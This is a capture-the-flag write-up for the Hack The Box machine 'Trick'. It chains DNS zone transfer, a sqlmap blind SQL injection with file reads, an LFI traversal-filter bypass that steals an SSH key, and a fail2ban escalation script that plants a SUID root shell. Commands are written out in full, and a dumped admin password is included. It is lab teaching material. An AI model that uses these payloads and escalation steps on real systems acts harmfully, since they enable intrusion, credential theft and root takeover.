Trick
Trick is an easy-difficulty Linux box themed around a healthcare/payroll web stack fronted by NGINX, with an exposed BIND DNS server.
- platform
- Hack The Box
- target_os
- Linux (Debian 10 "Buster")
- difficulty
- Easy
- season
- Retired
- logged
- June 18, 2026
Summary of Exploitation
Trick is an easy-difficulty Linux box themed around a healthcare/payroll web stack fronted by NGINX, with an exposed BIND DNS server. The chain moves from DNS reconnaissance, through a chained web-app compromise (SQL injection → LFI), to an SSH foothold, and finishes with a fail2ban-based privilege escalation:
- DNS enumeration — the authoritative BIND server answers a reverse lookup with the root domain
trick.htb, and an AXFR zone transfer / subdomain brute-force reveals thepreprod-payroll.trick.htbvirtual host. - SQL injection —
preprod-payroll’sview_employee.php?id=parameter is injectable (boolean-based blind). The DB userremoholds theFILEprivilege, allowing arbitrary file reads. - Config disclosure → second vhost — reading the NGINX site config via SQLi
--file-readexposes a second virtual host,preprod-marketing.trick.htb. - Local File Inclusion —
preprod-marketing’spage=parameter is vulnerable to a path-traversal LFI, used to readmichael’s SSH private key. - SSH foothold — the recovered key logs in as
michael, yielding the user flag. - fail2ban privilege escalation —
michaelbelongs to thesecuritygroup (group-write over/etc/fail2ban/action.d/) and cansudoafail2banrestart. Replacing the ban action with a SUID-bash payload and triggering a ban executes code as root.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 7.9p1 Debian (protocol 2.0) |
| 25 | open | smtp | Postfix smtpd |
| 53 | open | domain | ISC BIND 9.11.5 (Debian) |
| 80 | open | http | nginx 1.14.2 |
Key takeaways from recon:
- Port 53 (DNS) is open on a server that is normally a leaf host — an exposed authoritative BIND instance is the first thing to probe.
- Port 80 serves a default site under nginx 1.14.2; vhost discovery is likely needed to reach the interesting content.
- The combination of DNS + nginx strongly suggests virtual-host routing, where additional
server_nameentries point to separate applications.
DNS Enumeration
The default system resolver knows nothing about .htb, so queries must be aimed directly at the box, which is authoritative for the zone.
A reverse lookup against the target itself resolved the root domain:
dig -x <target-ip> @<target-ip>
;; ANSWER SECTION:
<reversed-target-ip>.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN NS trick.htb.
The aa (authoritative answer) flag confirmed the box is the authoritative nameserver for trick.htb. Because the server answers direct queries, a zone transfer was attempted:
dig AXFR trick.htb @<target-ip>
The transfer succeeded and disclosed the first virtual host:
trick.htb. 604800 IN A 127.0.0.1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
Fallback: if AXFR is refused, the same vhost is reachable via subdomain brute-forcing, pointing the resolver at the box:
gobuster dns --domain trick.htb \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ --resolver <target-ip>
The discovered host was added to /etc/hosts:
echo "<target-ip> trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts
Web Enumeration
Browsing http://preprod-payroll.trick.htb/ presented a Nicop Healthcare / payroll management login portal (a customised version of an open-source PHP payroll system). Login could be bypassed with a basic SQL-injection auth bypass, but the more productive injection point was an unauthenticated GET parameter:
http://preprod-payroll.trick.htb/view_employee.php?id=1
Exploitation Phase
Step 1 — SQL Injection on view_employee.php
The id parameter was confirmed as a boolean-based blind injection point with sqlmap:
sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id --batch
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (7217=7217) THEN 1 ELSE (SELECT 4799 UNION SELECT 8201) END))
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Dumping the application database surfaced an admin credential (not strictly required for the chain, but useful context):
sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
--technique=B -D payroll_db -T users --dump
Database: payroll_db
Table: users
+----+---------------+-----------------------+------------+
| id | name | password | username |
+----+---------------+-----------------------+------------+
| 1 | Administrator | SuperGucciRainbowCake | Enemigosss |
+----+---------------+-----------------------+------------+
Step 2 — FILE privilege → arbitrary file read
Enumerating the DB user’s privileges revealed the key capability:
sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
--technique=B --privileges
database management system users privileges:
[*] %remo% [1]:
privilege: FILE
The FILE privilege allows LOAD_FILE() reads of any file readable by the MySQL process. This is the pivot: rather than chasing RCE through the DB, it is used to read the NGINX configuration and discover the next vhost.
Performance notes (boolean-blind): retrieval is slow and 500-error prone.
--threads 10parallelises requests and--hexpreserves whitespace/binary in config files that would otherwise come back mangled.
Step 3 — Reading NGINX config → second virtual host
sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
--technique=B --hex --threads 10 \
--file-read=/etc/nginx/sites-enabled/default
The retrieved config contained a second server block:
server {
...
server_name preprod-marketing.trick.htb;
root /var/www/market;
...
}
Another virtual host name that NGINX is configured for: preprod-marketing.trick.htb.
It was added to /etc/hosts alongside the first:
echo "<target-ip> preprod-marketing.trick.htb" | sudo tee -a /etc/hosts
Step 4 — Local File Inclusion on preprod-marketing
The marketing site loaded pages through a page parameter:
http://preprod-marketing.trick.htb/index.php?page=home.html
Naive traversal (../../../../etc/passwd) was filtered, but the filter only stripped a single ../ sequence non-recursively. A doubled/nested traversal (....//) bypassed it:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd
The /etc/passwd read confirmed the LFI and revealed the user michael. Their SSH private key was then read directly:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa
The key was saved locally and permissions tightened:
chmod 600 id_rsa
Step 5 — SSH foothold as michael
ssh -i id_rsa michael@<target-ip>
User flag:
michael@trick:~$ cat user.txt
Privilege Escalation — fail2ban
michael’s sudo rights and group membership were enumerated:
michael@trick:~$ sudo -l
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
Two facts combine into a root path:
michaelcan restart fail2ban as root without a password.michaelis in thesecuritygroup, which has group-write over the fail2ban action directory:
michael@trick:~$ ls -la /etc/fail2ban/action.d/
drwxrwx--- 2 root security 4096 ... .
The mechanism
fail2ban runs a shell command (actionban) as root whenever it bans an IP. The individual .conf files are root:root (not directly writable), but the directory itself is group-writable — so a file can be deleted and replaced even though it cannot be edited in place. Replacing the default SSH ban action (iptables-multiport.conf) with a SUID-bash payload, restarting the service, then triggering a ban executes the payload as root.
A note on the config-reset race
The box runs a cleanup job that periodically restores /etc/fail2ban/ to a pristine state (observable as the action .conf timestamps repeatedly resetting). A plain edit is reverted before it can be used. The reliable approach is to win the race with a tight loop, then restart immediately so fail2ban loads the malicious action into memory — where it persists until the next restart even if the on-disk file reverts a moment later.
while true; do
rm -f /etc/fail2ban/action.d/iptables-multiport.conf 2>/dev/null && \
printf '[INCLUDES]\nbefore = iptables-common.conf\n[Definition]\nactionstart =\nactionstop =\nactioncheck =\nactionban = cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\nactionunban =\n' \
> /etc/fail2ban/action.d/iptables-multiport.conf 2>/dev/null && \
grep -q rootbash /etc/fail2ban/action.d/iptables-multiport.conf && echo "WON RACE" && break
sleep 0.5
done
sudo /etc/init.d/fail2ban restart
Permissions gotcha: the payload must use
chmod 4755(SUID +rwxr-xr-x), notchmod +s. A barechmod +sproduces-rws--S---, which leaves no execute bit for “other” —michaelthen getsPermission deniedtrying to run it.4755yields-rwsr-xr-x, executable by everyone with the SUID bit intact.
Triggering the ban
The default sshd jail bans after maxretry (5) failed logins inside a short findtime (10s) window. A tight parallel burst of failed SSH auth from the attacker box crosses the threshold:
for i in $(seq 1 12); do
sshpass -p x ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password \
-o ConnectTimeout=3 baduser@trick.htb 2>/dev/null &
done
wait
sleep 10
When the ban fires, actionban runs as root and drops the SUID shell:
michael@trick:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1168776 ... /tmp/rootbash
michael@trick:~$ /tmp/rootbash -p
rootbash-5.0#
Root Flag Successfully Obtained
rootbash-5.0# cat /root/root.txt
Key Takeaways
- An exposed DNS server is recon gold. A reverse lookup against the authoritative box handed over the root domain, and AXFR (or subdomain brute-forcing as a fallback) revealed the first vhost — neither is visible from the default site alone.
FILEprivilege turns SQLi into file disclosure. Without DBA rights or a writable web root, the injection still yielded arbitrary reads — and reading the web server config is what bridged to the second application.- Chain web bugs deliberately. SQLi was not the endpoint; it disclosed
preprod-marketing, whose LFI disclosed an SSH key. Each bug fed the next. - Filter bypasses matter. The LFI’s single-pass
../stripping fell to a nested....//payload — non-recursive sanitisation is a recurring weakness. - Group-write on a directory ≠ write on its files, but it’s enough. Owning the directory entry let a root-owned action file be deleted and replaced, which is the whole privesc.
- Read permission strings carefully.
chmod +svschmod 4755was the difference between a working SUID shell andPermission denied. - Watch for self-healing configs. A cleanup job reverted the fail2ban edit; winning the race and restarting (loading the action into memory) defeated it.
Full Attack Chain
DNS recon (dig -x / AXFR)
└─ trick.htb ──> preprod-payroll.trick.htb
└─ SQLi (view_employee.php?id=) + FILE privilege (remo)
└─ --file-read nginx config ──> preprod-marketing.trick.htb
└─ LFI (page=....//) ──> michael's id_rsa
└─ SSH as michael [USER]
└─ sudo fail2ban restart + security group write
└─ malicious actionban (SUID bash) ──> root [ROOT]